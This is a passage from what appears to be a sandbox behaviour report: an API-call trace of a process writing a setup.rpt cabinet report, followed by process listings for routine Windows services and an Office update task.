_Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFooter2", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFooter3", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfFooter4", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader1", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader2", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader3", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader4", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader5", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfHeader6", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="InfSectionOrder", _Str2="RptFileName") returned -9 [0152.175] _strcmpi (_Str1="MaxCabinetSize", _Str2="RptFileName") returned -5 [0152.175] _strcmpi (_Str1="MaxDiskFileCount", _Str2="RptFileName") returned -5 [0152.175] _strcmpi (_Str1="MaxDiskSize", _Str2="RptFileName") returned -5 [0152.175] _strcmpi (_Str1="MaxErrors", _Str2="RptFileName") returned -5 [0152.175] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="RptFileName") returned -11 [0152.175] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="RptFileName") returned -11 [0152.175] _strcmpi (_Str1="ReservePerFolderSize", _Str2="RptFileName") returned -11 [0152.175] _strcmpi (_Str1="RptFileName", _Str2="RptFileName") returned 0 [0152.175] fopen (_Filename="setup.rpt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\setup.rpt"), _Mode="wt") returned 0x7fefd702b10 [0152.176] ctime (param_1=0xdf300) returned="Sun Jun 09 15:07:08 2019\n" [0152.176] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef08 | out: _DstBuf="Sun Jun 09 15:07:08 2019\n") returned 25 [0152.176] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 42 [0152.176] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%13ld", _ArgList=0xdef08 | out: _DstBuf=" 1") returned 13 [0152.176] strspn (_Str=" 1", _Control=" ") returned 0xc [0152.176] strpbrk (_Str="1", _Control=" ") returned 0x0 [0152.176] printf (_Format="%s%s\n") returned 34 [0152.187] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 28 [0152.187] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%13ld", _ArgList=0xdef08 | out: _DstBuf=" 80722") returned 13 [0152.187] strspn (_Str=" 80722", _Control=" ") returned 0x8 [0152.187] strpbrk (_Str="80722", _Control=" ") returned 0x0 [0152.187] printf (_Format="%s%s\n") returned 28 [0152.196] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 28 [0152.196] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%13ld", _ArgList=0xdef08 | out: _DstBuf=" 11358") returned 13 [0152.196] strspn (_Str=" 11358", _Control=" ") returned 0x8 [0152.196] strpbrk (_Str="11358", _Control=" ") returned 0x0 [0152.196] printf (_Format="%s%s\n") returned 28 [0152.260] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 28 [0152.260] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0xdef08 | out: _DstBuf=" 14.07") returned 6 [0152.260] printf (_Format="%s%s\n") returned 44 [0152.274] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 44 [0152.274] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%9.2f", _ArgList=0xdef08 | out: _DstBuf=" 0.39") returned 9 [0152.274] _vsnprintf (in: _DstBuf=0xdefbe, _MaxCount=0x1f1, _Format="%2d", _ArgList=0xdef08 | out: _DstBuf=" 0") returned 2 [0152.274] _vsnprintf (in: _DstBuf=0xdefca, _MaxCount=0x1e5, _Format="%2d", _ArgList=0xdef08 | out: _DstBuf=" 0") returned 2 [0152.274] _vsnprintf (in: _DstBuf=0xdefce, _MaxCount=0x1e1, _Format="%5.2f", _ArgList=0xdef08 | out: _DstBuf=" 0.39") returned 5 [0152.274] printf (_Format="%s%s\n") returned 64 [0152.295] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 64 [0152.295] _vsnprintf (in: _DstBuf=0xdefb0, _MaxCount=0x1ff, _Format="%9.2f", _ArgList=0xdef08 | out: _DstBuf=" 202.13") returned 9 [0152.295] printf (_Format="%s%s\n") returned 41 [0152.308] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 41 [0152.308] fclose (in: _File=0x7fefd702b10 | out: _File=0x7fefd702b10) returned 0 [0152.309] free (_Block=0x2b70c0) [0152.309] free (_Block=0x2b70d0) [0152.309] free (_Block=0x2b80c0) [0152.309] free (_Block=0x2b92f0) [0152.309] free (_Block=0x2b70e0) [0152.309] free (_Block=0x2b8100) [0152.309] free (_Block=0x2b8cc0) [0152.309] free (_Block=0x2b70f0) [0152.309] free (_Block=0x2b8140) [0152.309] free (_Block=0x2b8ce0) [0152.309] free (_Block=0x2b7100) [0152.310] free (_Block=0x2b8180) [0152.310] free (_Block=0x2b8d00) [0152.310] free (_Block=0x2b7110) [0152.310] free (_Block=0x2b81c0) [0152.310] free (_Block=0x2b8d20) [0152.310] free (_Block=0x2b7120) [0152.310] free (_Block=0x2b8200) [0152.310] free (_Block=0x2b9320) [0152.310] free (_Block=0x2b7130) [0152.310] free (_Block=0x2b8240) [0152.310] free (_Block=0x2b8d40) [0152.310] free (_Block=0x2b7140) [0152.310] free (_Block=0x2b8280) [0152.310] free (_Block=0x2b8d60) [0152.310] free (_Block=0x2b7150) [0152.310] free (_Block=0x2b82c0) [0152.310] free (_Block=0x2b8d80) [0152.310] free (_Block=0x2b7160) [0152.310] free (_Block=0x2b8300) [0152.310] free (_Block=0x2b8da0) [0152.310] free (_Block=0x2b7170) [0152.310] free (_Block=0x2b8340) [0152.310] free (_Block=0x2b8dc0) [0152.310] free (_Block=0x2b7180) [0152.331] free (_Block=0x2b8380) [0152.331] free (_Block=0x2b8de0) [0152.331] free (_Block=0x2b7190) [0152.331] free (_Block=0x2b83c0) [0152.331] free (_Block=0x2b8e00) [0152.331] free (_Block=0x2b71a0) [0152.331] free (_Block=0x2b8400) [0152.331] free (_Block=0x2b9350) [0152.331] free (_Block=0x2b71b0) [0152.331] free (_Block=0x2b8440) [0152.331] free (_Block=0x2b8e20) [0152.331] free (_Block=0x2b71c0) [0152.331] free (_Block=0x2b8480) [0152.331] free (_Block=0x2b8e40) [0152.331] free (_Block=0x2b71d0) [0152.331] free (_Block=0x2b84c0) [0152.331] free (_Block=0x2b8e60) [0152.331] free (_Block=0x2b8e80) [0152.331] free (_Block=0x2b8500) [0152.331] free (_Block=0x2b8ea0) [0152.331] free (_Block=0x2b9380) [0152.331] free (_Block=0x2b8540) [0152.331] free (_Block=0x2b8ec0) [0152.331] free (_Block=0x2b71e0) [0152.331] free (_Block=0x2b8580) [0152.331] free (_Block=0x2b8ee0) [0152.331] free (_Block=0x2b8f00) [0152.331] free (_Block=0x2b85c0) [0152.331] free (_Block=0x2b8f20) [0152.331] free (_Block=0x2b8f40) [0152.331] free (_Block=0x2b8600) [0152.331] free (_Block=0x2b8f60) [0152.331] free (_Block=0x2b8f80) [0152.331] free (_Block=0x2b8640) [0152.331] free (_Block=0x2b8fa0) [0152.331] free (_Block=0x2b93e0) [0152.331] free (_Block=0x2b8680) [0152.331] free (_Block=0x2b9400) [0152.331] free (_Block=0x2b9bb0) [0152.331] free (_Block=0x2b86c0) [0152.331] free (_Block=0x2b9420) [0152.331] free (_Block=0x2b9440) [0152.331] free (_Block=0x2b8700) [0152.332] free (_Block=0x2b9460) [0152.332] free (_Block=0x2b9be0) [0152.332] free (_Block=0x2b8740) [0152.332] free (_Block=0x2b9480) [0152.332] free (_Block=0x2b9c30) [0152.332] free (_Block=0x2b8780) [0152.332] free (_Block=0x2b94a0) [0152.332] free (_Block=0x2b9cf0) [0152.332] free (_Block=0x2b9cb0) [0152.332] free (_Block=0x2b94c0) [0152.332] free (_Block=0x2bac80) [0152.332] free (_Block=0x2b9d30) [0152.332] free (_Block=0x2b94e0) [0152.332] free (_Block=0x2bacd0) [0152.332] free (_Block=0x2b9d70) [0152.332] free (_Block=0x2b9500) [0152.332] free (_Block=0x2bad20) [0152.332] free (_Block=0x2b9db0) [0152.332] free (_Block=0x2b9520) [0152.332] free (_Block=0x2bad70) [0152.332] free (_Block=0x2b9df0) [0152.332] free (_Block=0x2b9540) [0152.332] free (_Block=0x2b9e70) [0152.332] free (_Block=0x2b9e30) [0152.332] free (_Block=0x2b9560) [0152.332] free (_Block=0x2badc0) [0152.332] free (_Block=0x2b9eb0) [0152.332] free (_Block=0x2b9580) [0152.332] free (_Block=0x2bae40) [0152.332] free (_Block=0x2b9ef0) [0152.332] free (_Block=0x2b95a0) [0152.332] free (_Block=0x2bae90) [0152.332] free (_Block=0x2b9f30) [0152.332] free (_Block=0x2b95c0) [0152.332] free (_Block=0x2baee0) [0152.332] free (_Block=0x2b9f70) [0152.332] free (_Block=0x2b95e0) [0152.332] free (_Block=0x2b71f0) [0152.332] free (_Block=0x2b9fb0) [0152.332] free (_Block=0x2b9600) [0152.332] free (_Block=0x2b7200) [0152.332] free (_Block=0x2b9ff0) [0152.332] free (_Block=0x2b9620) [0152.332] free (_Block=0x2b7210) [0152.332] free (_Block=0x2ba030) [0152.332] free (_Block=0x2b9640) [0152.332] free (_Block=0x2b70b0) [0152.332] free (_Block=0x2ba070) [0152.332] free (_Block=0x2b9660) [0152.332] free (_Block=0x2b7230) [0152.332] free (_Block=0x2ba0b0) [0152.332] free (_Block=0x2b9680) [0152.332] free (_Block=0x2b7240) [0152.332] free (_Block=0x2ba0f0) [0152.333] free (_Block=0x2b96a0) [0152.333] free (_Block=0x2b7250) [0152.333] free (_Block=0x2ba130) [0152.333] free (_Block=0x2b96c0) [0152.333] free (_Block=0x2b7260) [0152.333] free (_Block=0x2ba170) [0152.333] free (_Block=0x2b96e0) [0152.333] free (_Block=0x2b9700) [0152.333] free (_Block=0x2ba1b0) [0152.333] free (_Block=0x2b9720) [0152.333] free (_Block=0x2b7270) [0152.333] free (_Block=0x2ba1f0) [0152.333] free (_Block=0x2b9740) [0152.333] free (_Block=0x2b7280) [0152.333] free (_Block=0x2ba230) [0152.333] free (_Block=0x2b97a0) [0152.333] free (_Block=0x2bd420) [0152.333] free (_Block=0x2ba2b0) [0152.333] free (_Block=0x2b9780) [0152.333] free (_Block=0x2b9760) [0152.333] free (_Block=0x2ba470) [0152.333] free (_Block=0x2b8ca0) [0152.333] free (_Block=0x2ba370) [0152.333] free (_Block=0x2bd2c0) [0152.333] free (_Block=0x2b97c0) [0152.333] free (_Block=0x2ba3b0) [0152.333] free (_Block=0x2ba330) [0152.333] free (_Block=0x2b8080) [0152.333] free (_Block=0x2b5aa0) [0152.333] free (_Block=0x2b8c80) [0152.333] free (_Block=0x2b5f30) [0152.333] exit (_Code=0) Process: id = "47" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1a434000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x458" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bbbd" [0xc000000f], "LOCAL" [0x7] Thread: id = 433 os_tid = 0xa68 Thread: id = 434 os_tid = 0x810 Thread: id = 435 os_tid = 0xb8c Thread: id = 436 os_tid = 0xae4 Thread: id = 437 os_tid = 0x9a8 Thread: id = 438 os_tid = 0x9ac Thread: id = 439 os_tid = 0x884 Thread: id = 440 os_tid = 0x87c Thread: id = 441 os_tid = 0x308 Thread: id = 442 os_tid = 0x360 Thread: id = 443 os_tid = 0x8dc Thread: id = 444 os_tid = 0x820 Thread: id = 445 os_tid = 0x830 Thread: id = 446 os_tid = 0x890 Thread: id = 447 os_tid = 0x9d8 Thread: id = 448 os_tid = 0xb68 Thread: id = 449 os_tid = 0xa18 Thread: id = 450 os_tid = 0xbf8 Thread: id = 451 os_tid = 0x758 Thread: id = 452 os_tid = 0x84c Thread: id = 453 os_tid = 0xb2c Thread: id = 454 os_tid = 0x9b4 Thread: id = 455 os_tid = 0xa00 Thread: id = 456 os_tid = 0xadc Thread: id = 457 os_tid = 0x6c0 Thread: id = 458 os_tid = 0x57c Thread: id = 459 os_tid = 0x628 Thread: id = 460 os_tid = 0x620 Thread: id = 461 os_tid = 0x608 Thread: id = 462 os_tid = 0x5b0 Thread: id = 463 os_tid = 0x5ac Thread: id = 464 os_tid = 0x150 Thread: id = 465 os_tid = 0x36c Thread: id = 466 os_tid = 0x3c0 Thread: id = 467 os_tid = 0x3b8 Thread: id = 468 os_tid = 0x3a8 Thread: id = 469 os_tid = 0x300 Thread: id = 470 os_tid = 0x2fc Thread: id = 471 os_tid = 0x2e8 Thread: id = 472 os_tid = 0x2d8 Thread: id = 473 os_tid = 0x2d0 Thread: id = 521 os_tid = 0x9d0 Thread: id = 532 os_tid = 0xa90 Thread: id = 536 os_tid = 0xbf4 Thread: id = 537 os_tid = 0xa2c Thread: id = 542 os_tid = 0x98c Thread: id = 545 os_tid = 0x55c Thread: id = 546 os_tid = 0x860 Thread: id = 552 os_tid = 0xbf8 Thread: id = 557 os_tid = 0x900 Thread: id = 559 os_tid = 0x910 Thread: id = 577 os_tid = 0x728 Thread: id = 585 os_tid = 0x888 Thread: id = 589 os_tid = 0xb90 Thread: id = 594 os_tid = 0x3c8 Thread: id = 597 os_tid = 0x250 Thread: id = 598 os_tid = 0x4d8 Process: id = "48" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x7bedc000" os_pid = "0x92c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 498 os_tid = 0x84c Thread: id = 502 os_tid = 0x240 Thread: id = 503 os_tid = 0x8d0 Thread: id = 504 os_tid = 0x67c Thread: id = 505 os_tid = 0xa3c Thread: id = 506 os_tid = 0x2b0 Process: id = "49" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x146b5000" os_pid = "0x21c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x370" cmd_line = "taskeng.exe {E8A278FC-2D4D-4C17-8DFF-1F6C4D47EABC} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 562 os_tid = 0x580 Thread: id = 563 os_tid = 0xa54 Thread: id = 564 os_tid = 0x15c Thread: id = 565 os_tid = 0x118 Thread: id = 566 os_tid = 0xbb8 Thread: id = 567 os_tid = 0xa20 Thread: id = 568 os_tid = 0x7ac Process: id = "50" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x147c7000" os_pid = "0xb24" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "49" os_parent_pid = "0x21c" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 569 os_tid = 0x128 Thread: id = 570 os_tid = 0x9d4 Thread: id = 571 os_tid = 0x8e4 Thread: id = 572 os_tid = 0x880 Thread: id = 573 os_tid = 0x974 Thread: id = 574 os_tid = 0x35c Thread: id = 576 os_tid = 0x97c